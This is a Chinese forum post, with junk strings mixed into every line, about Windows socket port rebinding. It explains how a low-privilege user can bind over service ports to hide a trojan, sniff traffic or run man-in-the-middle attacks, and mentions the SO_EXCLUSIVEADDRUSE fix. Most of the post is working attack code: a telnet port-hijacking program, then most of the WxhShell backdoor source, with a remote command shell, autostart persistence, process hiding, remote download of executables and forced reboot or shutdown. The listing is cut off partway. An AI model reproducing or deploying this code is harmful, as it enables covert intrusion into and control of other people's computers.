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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rR@]`@9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Td|,3 n  
BEb?jRMjLg  
  saddr.sin_family = AF_INET; Xxh^4vKjX  
Awfd0L;9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =Ks&m4  
@Un/,-ck  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UeCi{ W  
JzN "o'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zu?112-v2  
-x6_HibbD  
  这意味着什么?意味着可以进行如下的攻击: LI}e_= E  
)2y [#Blo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ! U@ETo  
sT1OAK\^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U3Gg:onuE  
[\Wl~ a l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I_f%%N%  
Zex~ $r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cG0)F%?X?  
fsOlg9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PtuRXx  
BDfMFH[1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 90+Vw`Gz=  
/'{vDxZf R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <fBJ@>  
r+%3Y:dZE  
  #include Pn4.gabE  
  #include yj_/:eX  
  #include 2*`kkS  
  #include    P51cEhf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r|}Pg}O  
  int main() 7<70\ 6  
  { 5,XEN$^  
  WORD wVersionRequested; }!fIY7gv  
  DWORD ret; a+z>pV|  
  WSADATA wsaData; 2UYtEJ(?`{  
  BOOL val; `_LQs9J0J  
  SOCKADDR_IN saddr; V$DB4YM1k  
  SOCKADDR_IN scaddr; ]E"J^mflGK  
  int err; do^=Oq07$  
  SOCKET s; c[M4l  
  SOCKET sc; th*!EFA^o  
  int caddsize; vh2/d.MO  
  HANDLE mt; Yqh-U%"'  
  DWORD tid;   ES,JdImZ|  
  wVersionRequested = MAKEWORD( 2, 2 ); k"[AV2UW1  
  err = WSAStartup( wVersionRequested, &wsaData ); !Usmm8!K  
  if ( err != 0 ) { 8?L-3/  
  printf("error!WSAStartup failed!\n"); 6%t6u3  
  return -1; h-(NWxK+  
  } tpzWi W/  
  saddr.sin_family = AF_INET; oAN,_1v)  
   ~-sgk"$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EK>x\]O%T  
`>KNa"b%$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E5S(1Z}]p{  
  saddr.sin_port = htons(23); T)22P<M8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @+~URIG)  
  { 'U&]KSzxv  
  printf("error!socket failed!\n"); `@\FpV[|P  
  return -1; ?-&k?I  
  } !4^Lv{1QZ  
  val = TRUE; Ye|gW=FUR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0?FJ ~pu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u7J:ipyiq2  
  { 8}[<3K%*g  
  printf("error!setsockopt failed!\n");  -+qg  
  return -1; BuM #&]s  
  } 0*P-/)o x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FDiDHOR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,^ -%<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \s8h.xjU  
pT+OPOSR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4avkyFj!h  
  { e 0$m<5  
  ret=GetLastError(); B;Z _'.i,d  
  printf("error!bind failed!\n"); H]V(qq{  
  return -1; L1` ^M  
  } [Ti ' X#  
  listen(s,2); _{if"  
  while(1) (F;*@Z*R  
  { Z{ YuX  
  caddsize = sizeof(scaddr); K7x;/O  
  //接受连接请求 wk'(g_DP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D)L~vA/8b  
  if(sc!=INVALID_SOCKET) jbg9 EtQ!*  
  { XH0Vs.w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c;29GHs2  
  if(mt==NULL) HIj:?y  
  { o|84yT!~  
  printf("Thread Creat Failed!\n"); Qe7 SH{  
  break; o^uh3,.  
  } RigS1A\2l  
  } h+q#|N  
  CloseHandle(mt); ^|U5@u_  
  } kSge4?&  
  closesocket(s); &j'k9C2p  
  WSACleanup(); *mn9CVZ(}M  
  return 0; XkW@"pf&Fh  
  }   iH>JR[A  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8PeVHpZ  
  { [=-,i#4  
  SOCKET ss = (SOCKET)lpParam; o2YHT \P n  
  SOCKET sc; 9l&G2 o   
  unsigned char buf[4096]; |tY6+T}  
  SOCKADDR_IN saddr; ze+S_{  
  long num; #\="^z6  
  DWORD val; ]t17= Lr?  
  DWORD ret; 1G(wESe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \ X6y".|-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zuJ` 704  
  saddr.sin_family = AF_INET; b5|l8<\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [m x}n+~  
  saddr.sin_port = htons(23); - 3<&sTR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ][OkydE  
  { +K=RMqM-8  
  printf("error!socket failed!\n"); jt @2S  
  return -1; BlqfST#6  
  } ~Wm'~y>  
  val = 100; E/% F0\B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I2z7}*<u  
  { Br$/hn=  
  ret = GetLastError(); ;%>X+/.y0  
  return -1; x1CMW`F  
  } M-!#-l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z +<Y.*6  
  { :w4H$+j  
  ret = GetLastError(); ,:81DA  
  return -1; `Sj8IxO  
  } Frhm4H%,_R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) k]TJL9Q  
  { tJGPkeA  
  printf("error!socket connect failed!\n"); hL;??h,!_  
  closesocket(sc); 1mEW]z  
  closesocket(ss); i-k(/Y0  
  return -1; 7` XECIh  
  } </fTn_{2s8  
  while(1) <PO-S\N  
  { ov>`MCS,v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zlh\P`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ws]d,]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BIvz55g  
  num = recv(ss,buf,4096,0); noT}NX%  
  if(num>0) zzKU s"u  
  send(sc,buf,num,0); a}Jy o!.  
  else if(num==0) {#{nU NW  
  break; % e70*;  
  num = recv(sc,buf,4096,0); giN(wPgYP  
  if(num>0) sg]g;U  
  send(ss,buf,num,0); @[rlwwG,  
  else if(num==0) r7)iNTQ1  
  break; E?m W4?  
  } r^\Wo7q  
  closesocket(ss); 0wETv  
  closesocket(sc); D>wo>,G  
  return 0 ; Hc q@7g  
  } HOPsp  
WN#dR~>  
Hp fTuydU  
========================================================== =0U"07%}  
|@ZyD$?  
下边附上一个代码,,WXhSHELL ! }awlv;  
h/l?,7KHI  
========================================================== dp1t]  
W?@+LQa??  
#include "stdafx.h" wK%x|%R[  
><@& &u.  
#include <stdio.h> 69C ss'  
#include <string.h> qkyYt#4E  
#include <windows.h> abV,]x&.0  
#include <winsock2.h> 6tM@I`l  
#include <winsvc.h> .aIFm5N3?  
#include <urlmon.h> lU3Xd_v O  
%x$mAOUv  
#pragma comment (lib, "Ws2_32.lib") ui^v.YCMI  
#pragma comment (lib, "urlmon.lib") *\wf(o>Q  
?Vr~~v"fg8  
#define MAX_USER   100 // 最大客户端连接数 X`daaG_l  
#define BUF_SOCK   200 // sock buffer "w{,ndZ  
#define KEY_BUFF   255 // 输入 buffer ,Hsu ;I~  
~U4;YlQP  
#define REBOOT     0   // 重启 ZW8;?# _  
#define SHUTDOWN   1   // 关机 DZ;2aH  
"  6  
#define DEF_PORT   5000 // 监听端口 'seuO!5  
_k W:FB  
#define REG_LEN     16   // 注册表键长度 xJ|Z]m=d   
#define SVC_LEN     80   // NT服务名长度 x\(yjNZH  
TGPHjSZ1  
// 从dll定义API \cq.M/p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q/YO5>s15  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .rbKvd?-}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =~QC)y_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }pPt- k  
}Qvoms<k  
// wxhshell配置信息 }4I;<%L3`  
struct WSCFG { n!XSB7d~X  
  int ws_port;         // 监听端口 C)s*1@af  
  char ws_passstr[REG_LEN]; // 口令 s!BZrVM%I`  
  int ws_autoins;       // 安装标记, 1=yes 0=no X1h*.reFAL  
  char ws_regname[REG_LEN]; // 注册表键名 v{>9&o.J  
  char ws_svcname[REG_LEN]; // 服务名 v]KI=!Gs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y/A<eHLy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `?Xt ,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }A_>J7w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2$QuR~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t!vlZNc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o)6udRzBv  
Z{.L_ ]$ I  
}; \U'TL_Ql  
bk-aj'>+  
// default Wxhshell configuration !' @  
struct WSCFG wscfg={DEF_PORT, 4?&CK  
    "xuhuanlingzhe", S{ !m})1?  
    1, qS+Ilg  
    "Wxhshell", H~"XlP  
    "Wxhshell", / k8;k56  
            "WxhShell Service", Y3wL EG%,:  
    "Wrsky Windows CmdShell Service", /T2f~1R  
    "Please Input Your Password: ", x?Oc<CQ-2  
  1, ,TxZ:f`"  
  "http://www.wrsky.com/wxhshell.exe", uv dx>5]  
  "Wxhshell.exe" kOuQR$9s  
    }; ^l/$ 13=  
} u7&SU  
// 消息定义模块 UwxrYouv~@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6Bm2_B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #3u471bp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -x1O|q69  
char *msg_ws_ext="\n\rExit."; C!" .[3  
char *msg_ws_end="\n\rQuit."; 4.mbW  
char *msg_ws_boot="\n\rReboot..."; C(*)7| m  
char *msg_ws_poff="\n\rShutdown..."; 0H{0aQQ  
char *msg_ws_down="\n\rSave to "; x5Ee'G(  
0#KB.2AP  
char *msg_ws_err="\n\rErr!"; *`V-zD  
char *msg_ws_ok="\n\rOK!"; M+TF0c  
~d?\rj3=  
char ExeFile[MAX_PATH]; >taZw '  
int nUser = 0; xR;-qSl7Ms  
HANDLE handles[MAX_USER]; >(HUW^T/9z  
int OsIsNt; +nslS:(  
I2=Kq{  
SERVICE_STATUS       serviceStatus; RsDI7v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #8d$%F))  
Qmh*Gh? v  
// 函数声明 6Gs,-Kb:  
int Install(void); Cx/duod p  
int Uninstall(void); #0WO~wL  
int DownloadFile(char *sURL, SOCKET wsh); cBA2;5E  
int Boot(int flag); ,Pd2ZfZ  
void HideProc(void); Vkb&' rXw+  
int GetOsVer(void); ^i^S1h"  
int Wxhshell(SOCKET wsl); uQ.VW/>  
void TalkWithClient(void *cs); ] H[FZY  
int CmdShell(SOCKET sock); r4qFEFV3%  
int StartFromService(void); yMa5?]J  
int StartWxhshell(LPSTR lpCmdLine); 3?uP$(l  
T't^pO-`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v+=_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~dwl7Qc  
Q$9`QY*6"p  
// 数据结构和表定义 b\\?aR |  
SERVICE_TABLE_ENTRY DispatchTable[] = p8^^Pva/  
{ KXFa<^\o  
{wscfg.ws_svcname, NTServiceMain}, =;$&:Zjy/%  
{NULL, NULL} kB]|4CG{  
}; QrPWS-3~!  
q9pcEm4?  
// 自我安装 fwQ%mU+  
int Install(void) )V}u1C-N  
{ t>v']a +k  
  char svExeFile[MAX_PATH]; EH$wW l^  
  HKEY key; h OboM3_  
  strcpy(svExeFile,ExeFile); qwaw\vOA  
`czXjZE  
// 如果是win9x系统,修改注册表设为自启动 Z y7@"C  
if(!OsIsNt) { d*,|?Ar*b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]Nz54!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rd 1&?X  
  RegCloseKey(key); ix&hsNzD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?I 1@:?Qi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I/)dXk~  
  RegCloseKey(key); /HDX[R   
  return 0; {+t'XkA  
    } uYMW5k_,>  
  } {hRAR8  
} 7F'61}qL  
else { 1^Zx-p3J  
a}c(#ZLs  
// 如果是NT以上系统,安装为系统服务 1 )j%]zd2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r%'2a+}D  
if (schSCManager!=0) j4}aK2[<  
{ a4: PufS  
  SC_HANDLE schService = CreateService Vq'&t<K#  
  ( tXK hkt`  
  schSCManager, ak;Z;  
  wscfg.ws_svcname, I( y Wct  
  wscfg.ws_svcdisp, sq)Nn&5A  
  SERVICE_ALL_ACCESS, c@q>5fR/c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iy: ;g  
  SERVICE_AUTO_START, >v<}$v6D~  
  SERVICE_ERROR_NORMAL, {Ue6DK %  
  svExeFile, Z21XlbK   
  NULL, ) L{Tn 8  
  NULL, |_=jXf\TL  
  NULL, ci^-0l_O  
  NULL, (I~,&aBr  
  NULL q-8  GD7  
  ); H*\ }W  
  if (schService!=0) &gEu%s^wR  
  { n'h )(^  
  CloseServiceHandle(schService); _RmE+Xg2  
  CloseServiceHandle(schSCManager); tt[_+e\4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~IWi @m{  
  strcat(svExeFile,wscfg.ws_svcname); F9+d7 Y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l9L;Tjj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F#<P FT4i  
  RegCloseKey(key); RY~)MS _C  
  return 0; pM7BdMp   
    } 8DI|+`OgW  
  } ' R@<4Ib|  
  CloseServiceHandle(schSCManager); X%F9.<4  
} oF6MV&q/  
} m X1oRhf  
4*,q 1yK  
return 1; JX/d;N7a  
} &4%J35~  
[qI*]  
// 自我卸载 '_&(Iwu  
int Uninstall(void) SmLYxH3F  
{ 6b8Klrar!  
  HKEY key; pnG8c<  
/g9{zR [  
if(!OsIsNt) { w0I /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?7p| F^  
  RegDeleteValue(key,wscfg.ws_regname); X}=f{/\S  
  RegCloseKey(key); J-f0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #&:nkzd  
  RegDeleteValue(key,wscfg.ws_regname); GJuD :  
  RegCloseKey(key); [uY 2N h  
  return 0; 7r<>^j'  
  } j`GbI0,bT  
} ,6bMf z  
} JS:lysu  
else { ppD ~xg]  
A X#!9-m3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); te''sydUS  
if (schSCManager!=0) a?MtY EK2  
{ UKBMGzu2:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1G;Ns] u  
  if (schService!=0) MGz> ,c^wW  
  { 6K y;1$  
  if(DeleteService(schService)!=0) { BT1'@qF  
  CloseServiceHandle(schService); yk)j;i4@  
  CloseServiceHandle(schSCManager); 4Qo1f5 >N  
  return 0; B<&_lG0sS  
  } iHn]yv3 #  
  CloseServiceHandle(schService); wEbs E<</  
  } eEh0T %9K  
  CloseServiceHandle(schSCManager); -:>#w`H  
} 7EO&:b]  
} DnFl*T>  
q{ 1U  
return 1; }\{1`$*~  
} F)5Aq H/p  
79x9<,a)  
// 从指定url下载文件 7x]nY.\  
int DownloadFile(char *sURL, SOCKET wsh) {4 d$]o0V  
{ %Eh%mMb^  
  HRESULT hr; FlG^'UD  
char seps[]= "/"; \@3  
char *token; !dH&IEP~  
char *file; ~ 7Nyi dV;  
char myURL[MAX_PATH]; sN}@b8o@  
char myFILE[MAX_PATH]; t>sX.=\$  
Lp WEu^j  
strcpy(myURL,sURL); L# 1vf  
  token=strtok(myURL,seps); ko>_@]Jb  
  while(token!=NULL) SkA'+(  
  { XXcf!~uO  
    file=token; EXcjF  
  token=strtok(NULL,seps); xi\RUAW  
  } `VE&Obp[  
P$ef,ZW"  
GetCurrentDirectory(MAX_PATH,myFILE); Hu7zmh5FF  
strcat(myFILE, "\\"); EI.Pk>ZIm  
strcat(myFILE, file); rM=A"  
  send(wsh,myFILE,strlen(myFILE),0); +|<&#b0Xd  
send(wsh,"...",3,0); aF"Z!HD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hc%\9{zH  
  if(hr==S_OK) =M#?*e  
return 0; PcHFj+:  
else )YtL=w?L'  
return 1; 05 Q8`  
Nt-SCLDM  
}  ?|J+dW  
~&3"Mi&>`  
// 系统电源模块 8#u_+;,p  
int Boot(int flag) walRqlo@  
{ UeMe4$m  
  HANDLE hToken; Kn$1W=B1.  
  TOKEN_PRIVILEGES tkp; ] *VF Ws  
3a}`xCO5  
  if(OsIsNt) { X/Rx]}[   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KAcri<^G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2rtP.*dd  
    tkp.PrivilegeCount = 1; PjW+V`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c\{}FGC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C'2 =0oou  
if(flag==REBOOT) { Pq>[q?>?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~+ wamX3  
  return 0; g Pj0H&,.  
} hr6e1Er  
else { 2\\3<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @h$0S+?:  
  return 0; [(F<|f:n  
} dd7nO :]  
  } F'$S!K58  
  else { $jh>zf  
if(flag==REBOOT) { O)JUY *&I5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gNN" H#=2  
  return 0; Q9xx/tUW  
} )$h9Y   
else { XJ~l5} y ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nSQ}yqM)  
  return 0; lO:{tV  
} &N_c-@2O  
} 7QiCZcb\  
eu]iwOc&p  
return 1; ' VEr4&  
} kz;_f  
A=C3e4.C  
// win9x进程隐藏模块 eoe^t:5&  
void HideProc(void) Qr%Jm{_o  
{ >[fVl 8G_0  
G0 /vn9&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HU[nN*  
  if ( hKernel != NULL ) ou^nzm  
  { n_n|^4 w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @IY?DO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %s@S|< W  
    FreeLibrary(hKernel); N[<`6dpE  
  } #"8[8jyV  
Te@6N\g  
return; B4:l*P'  
} */^2RZg|W  
6_5d  
// 获取操作系统版本 t?nc0;Q9,@  
int GetOsVer(void) G6 8Nv:  
{ <h_P+ nz  
  OSVERSIONINFO winfo; :sVHY2x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'cF%4F  
  GetVersionEx(&winfo); zL},`:(.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -?B9>6 h "  
  return 1; L0mnU)Q}C  
  else sK%Hx`  
  return 0; _`Q It>R  
} 99Yo1Q 0  
~d%;~_n  
// 客户端句柄模块 7Fi2^DlgX  
int Wxhshell(SOCKET wsl) P b8Z))9j  
{ 2vkB<[tSs  
  SOCKET wsh; IiK(^:~%  
  struct sockaddr_in client; #>:(#^Uu  
  DWORD myID; CSL{Q  
y /:T(tk$  
  while(nUser<MAX_USER) $C05iD  
{ L=HVdeE  
  int nSize=sizeof(client); ?5yH'9zE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sjzXJ`s  
  if(wsh==INVALID_SOCKET) return 1; Sn0gTsZ  
0)oN[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l/ rZcf8z  
if(handles[nUser]==0) TwuX-b  
  closesocket(wsh); F%#*U82  
else !-5S8b  
  nUser++; ^5 ^}MB%  
  } _rMT{q3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5':Gu}Vq  
nSxb-Ce  
  return 0; hyOm9WU  
} .i+* #djx  
;sChxQ=.^  
// 关闭 socket SCurO9RN  
void CloseIt(SOCKET wsh) !/nx=vg p  
{ Itr7lv'5xx  
closesocket(wsh); e*P=2*]M  
nUser--; A }-&C  
ExitThread(0); \POnsM)+l  
} \|~?x#aA  
^b"bRQqm  
// 客户端请求句柄 1O9p YW5J  
void TalkWithClient(void *cs) qqe2,X?  
{ o3F|#op  
``|gcG  
  SOCKET wsh=(SOCKET)cs; d=?Mj]  
  char pwd[SVC_LEN]; 3Rd`Ysp  
  char cmd[KEY_BUFF]; *f TG8h  
char chr[1]; %K^gUd>,R  
int i,j; )8$:DW;  
{x[;5TM  
  while (nUser < MAX_USER) { X7H'Uk9:  
`8Jq~u6_Z  
if(wscfg.ws_passstr) { Vm~qk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '(*&Ax  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AbF(MK=i  
  //ZeroMemory(pwd,KEY_BUFF); om}/f`  
      i=0; skI(]BDf  
  while(i<SVC_LEN) { {xv?wenE  
CQSpPQA  
  // 设置超时 -SvTg{Q{la  
  fd_set FdRead; Q54r?|'V  
  struct timeval TimeOut; ^`rpf\GX(  
  FD_ZERO(&FdRead); d@4rD}_Z  
  FD_SET(wsh,&FdRead);  dd<:#c9  
  TimeOut.tv_sec=8; pgLtD};S  
  TimeOut.tv_usec=0; Har~MO?A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m Ztv G,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KZF0rW  
=naR{pI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VT% KN`l  
  pwd=chr[0]; gMs+?SNHAh  
  if(chr[0]==0xd || chr[0]==0xa) { '%SR.JL  
  pwd=0; CGC-"A/W  
  break; pcy<2UV  
  } 5{13 V*<  
  i++; <&5m N  
    } yuHZ&e  
2mqK3-c  
  // 如果是非法用户,关闭 socket KdT[*-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DH:GI1Yu>I  
} GIm " )}W  
1~2R^#rm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jg [H}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sdJ%S*)5G$  
(#!] fF"!x  
while(1) { dGW {l]N  
SyK9Is{8  
  ZeroMemory(cmd,KEY_BUFF); %9C`  
9 Uha2o  
      // 自动支持客户端 telnet标准   S]&8St  
  j=0; #bT8QbJ(  
  while(j<KEY_BUFF) { -AjH}A[!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +T0op4  
  cmd[j]=chr[0]; O' +"d%2'  
  if(chr[0]==0xa || chr[0]==0xd) { Q2/MnM  
  cmd[j]=0; L[?nST18%  
  break; H8@8MFz\  
  } "z^(dF|  
  j++; 7%}ay  
    } e~{^oM  
FR x6c  
  // 下载文件 _eJXi,  
  if(strstr(cmd,"http://")) { w6T[hZ 9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &{%MjKJ._  
  if(DownloadFile(cmd,wsh)) X^}A*4j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rj[ hhSx 2  
  else &<,SV^w ag  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l~bKBz  
  } qib 7Z]j  
  else { 6HoqEku/Q  
[X,A'Q  
    switch(cmd[0]) { AR%hf  
  /+V Iw`E  
  // 帮助 CjZZm^O  
  case '?': { R?cUy8?'S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _!n}P5  
    break; QR<`pmB~y  
  } 43zUN  
  // 安装 <lMg\T?K  
  case 'i': { *>jjMyn  
    if(Install()) LA-_3UJx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?LXI3sQZ  
    else q-3]jHChh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ddsUz1%l  
    break; 0$6*o}N%  
    } *5'.!g('  
  // 卸载 .~3kGf":  
  case 'r': { CRFCqmevR  
    if(Uninstall()) v "Me{+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*IpAIh  
    else 0n3D~Xzd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7K&}C;+  
    break; OL3UgepF  
    } /aZE,IeEz  
  // 显示 wxhshell 所在路径 6*u,c^a  
  case 'p': { F|9+ +)  
    char svExeFile[MAX_PATH]; m0|K#^  
    strcpy(svExeFile,"\n\r"); ?^ZXU0IkP  
      strcat(svExeFile,ExeFile); jM~Bu.7 i6  
        send(wsh,svExeFile,strlen(svExeFile),0); TyF{tuF  
    break; nnNv0 ?>d(  
    } V!4a*,Pz  
  // 重启 fb .J$fX  
  case 'b': { f/}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @F>F#-2  
    if(Boot(REBOOT)) 845 W>B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?i~g,P]NK  
    else { YNSyi@  
    closesocket(wsh); < f(?T`  
    ExitThread(0); z{:-!oF&CB  
    } f~ =r*&U  
    break; V<8K@/n@  
    } 62[8xn=(%  
  // 关机 740B\pc0  
  case 'd': { GWsd| kxU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8eluO ?p  
